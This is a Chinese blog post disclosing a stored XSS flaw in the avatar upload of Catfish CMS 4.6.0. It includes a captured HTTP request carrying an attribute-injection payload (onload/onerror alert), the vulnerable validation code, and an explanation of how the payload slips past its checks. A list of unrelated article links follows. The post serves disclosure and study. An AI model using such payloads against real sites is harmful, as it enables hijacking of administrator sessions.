鲶鱼CMS存储XSS漏洞披露
时间:2022-04-28
本文章向大家介绍鲶鱼CMS存储XSS漏洞披露,主要内容包括XSS漏洞点、相关代码跟进、一点感悟、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。
概述
Catfish(鲶鱼) CMS是一款开源的PHP内容管理系统。这个cms是十月我和学长小胡子一起审计的。所以在这里声明下,洞是他找的,他不善言辞,授权给我来写文章。漏洞已提交给厂商,同意公开此漏洞。
XSS漏洞点
这里的版本是V4.6.0。出问题的地方是头像上传这个地方,这个cms以前爆过一枚任意文件删除漏洞也是这里。
- 先注册一个普通用户
- 登录,上传一张头像。
- 上传成功后开启抓包,点击“头像保存”。
抓到数据如下:
修改:
POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html
Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80
Connection: close
Upgrade-Insecure-Requests: 1
avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D=
回显:
管理员后台浏览普通用户管理:
成功x到后台!
相关代码跟进
CatfishCMS-4.6.0/application/admin/controller/Index.php
页面代码,96行
这个函数对传入的avatar参数进行检验,继续跟进
位于CatfishCMS-4.6.0/application/admin/controller/Common.php
页面,313行
protected function isLegalPicture($picture)
{
if(stripos($picture,'>') === false)
{
$pathinfo = pathinfo($picture);
if(isset($pathinfo['extension']))
{
if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false)
{
return true;
}
}
}
return false;
}
三个限制:
- 参数不能含有 “>”
- 要以jpeg,jpg,png,gif 结尾
- 要含有 “/data/“ 路径
观察原来输出点,是以双引号进行闭合,触发事件可以onload或者onerror或者其他,以.jpg结尾。所以我们payload为:
avatar=[http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png](http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png)" onerror="alert(2)" a="1.jpg
一点感悟
最近看到大佬们在微博说的几句: 如果某个地方爆出了洞,就可以往这个地方深挖。因为最后讲道理程序会出问题不仅仅是代码的问题,而是人的问题。
- 2017.9.17校内noip模拟赛解题报告
- MySQL基础入门——MySQL与R语言、Python交互
- BizTalk Orchestration execute Flat file disassembler ReceivePipeline
- MySQL基础入门系列之——字符与日期数据处理
- P2038 无线网络发射器选址
- ggplot2双坐标轴的解决方案
- Modifying namespace in XML document programmatically
- ggplot2学习笔记——图例系统及其调整函数
- 一款脑洞大开的表格可视化神器
- P3908 异或之和
- P1939 【模板】矩阵加速(数列)
- R语言学习笔记之——数据处理神器data.table
- P3389 【模板】高斯消元法
- hihoCoder #1195 : 高斯消元·一
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Network在单细胞转录组数据分析中的应用
- PAT (Basic Level) Practice (中文)1024 科学计数法 (20 分)
- PAT (Basic Level) Practice (中文)1053 住房空置率 (20 分)
- 解决vue+axios请求报错POST http: net::ERR_CONNECTION_REFUSED,在封装的请求中统一处理请求异常的问题
- PAT (Basic Level) Practice (中文)1025 反转链表 (25 分)
- Pytest+Allure接口自动化一些学习分享
- 数据结构___马踏棋盘详尽实现+报告+通俗易懂注释
- 使用elasticsearch-dump迁移elasticsearch集群数据
- PAT (Basic Level) Practice (中文)1027 打印沙漏 (20 分)
- PAT (Advanced Level) Practice 1002 A+B for Polynomials (25 分)
- 关于MySQL varchar类型最大值,原来一直都理解错了
- PAT (Basic Level) Practice (中文)1028 人口普查 (20 分)
- 稀疏矩阵计算器(三元组实现矩阵加减乘法)
- PAT (Basic Level) Practice (中文)1029 旧键盘 (20 分)
- WPF 获取屏幕某个点的颜色